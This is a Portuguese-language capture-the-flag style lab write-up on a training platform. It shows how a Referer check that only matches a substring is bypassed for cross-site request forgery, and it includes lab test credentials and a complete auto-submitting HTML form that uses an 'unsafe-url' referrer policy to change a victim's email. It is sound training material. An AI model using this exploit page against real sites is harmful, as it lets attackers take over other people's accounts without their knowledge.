> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-with-broken-referer-validation.md).

# CSRF com Validação de Referer Quebrada

### CSRF com validação de Referer quebrada

O recurso de alteração de e-mail do site tenta bloquear solicitações entre domínios verificando o **Referer** cabeçalho, mas a lógica de detecção pode ser burlada. O objetivo do laboratório: hospedar no servidor uma página HTML que crie um CSRF para alterar o endereço de e-mail do visitante.

### Conta a ser usada

* **Usuário**: `wiener`
* **Senha**: `peter`

Se `Referer` vem de um domínio diferente, a solicitação é recusada.

<figure><img src="/files/39b59f45be690e8231372f83ee22a53afa41a6a6" alt=""><figcaption></figcaption></figure>

Se o `Referer` o cabeçalho está ausente, a verificação também falha (a solicitação é recusada).

<figure><img src="/files/31437573907cebc969e845daa72a193e3b5a9d21" alt=""><figcaption></figcaption></figure>

* A validação procura uma **correspondência** que contenha uma determinada string em `Referer`. Portanto, aceita uma `Referer` que **contém** essa string, mesmo que haja texto adicional ao redor.
* Exemplo de string aceita detectada:/ `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="/files/542021ec259a46e1104ef6b5c340341647ed6b90" alt=""><figcaption></figcaption></figure>

#### Bypass observado

* Em vez de enviar a solicitação de `/exploit`, o `Referer` pode ser feito para conter a string aceita (por exemplo, construindo uma URL que inclua essa string).

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="/files/15b60851219feecc5d7304b761008d3fe57fb2ba" alt=""><figcaption></figcaption></figure>

* Os navegadores impõem restrições de segurança que impedem o envio arbitrário de certos tipos de `Referer`. Para forçar o envio completo do `Referer` a partir da página de exploração, adicione a seguinte meta-diretiva em `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

Esta diretiva instrui o navegador a enviar a URL da página original completa como `Referer` mesmo ao navegar entre origens diferentes (comportamento inseguro).

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
